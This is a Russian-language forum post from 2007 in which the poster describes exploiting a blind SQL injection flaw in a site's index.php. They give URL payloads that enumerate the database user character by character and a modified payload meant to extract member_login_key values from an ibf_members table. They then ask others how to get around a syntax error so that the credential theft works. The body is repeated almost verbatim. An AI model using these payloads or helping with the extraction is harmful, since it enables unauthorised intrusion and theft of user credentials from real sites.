L0rd_Ha0S
14.10.2007, 20:55
Есть скрипт, подверженный Blind SQL-инъекции:
index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring(user( ),1,1)))>1/*
запрос успешно выполняется, все символы спокойно перебираются.
Если вместо user() поставить (select+member_login_key+from+ibf_members+where+id =2), чтоб было вот так:
index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring((sele ct+member_login_key+from+ibf_members+where+id=2),1 ,1)))>1/*
то выдается ошибка:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'select member_login_key from ibf_members where id=2),1,1)))>1/*
Указанные поле и таблица точно существуют. Пробовал также варианты с aes_decrypt/aes_encrypt, char(), concat() - безрезультатно.
Кто-нить знает, почему выдается эта ошибка, и как это обойти? Запрос ведь верный вроде...
index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring(user( ),1,1)))>1/*
запрос успешно выполняется, все символы спокойно перебираются.
Если вместо user() поставить (select+member_login_key+from+ibf_members+where+id =2), чтоб было вот так:
index.php?show=item&id=29+order+by+id'+and+ascii(lower(substring((sele ct+member_login_key+from+ibf_members+where+id=2),1 ,1)))>1/*
то выдается ошибка:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'select member_login_key from ibf_members where id=2),1,1)))>1/*
Указанные поле и таблица точно существуют. Пробовал также варианты с aes_decrypt/aes_encrypt, char(), concat() - безрезультатно.
Кто-нить знает, почему выдается эта ошибка, и как это обойти? Запрос ведь верный вроде...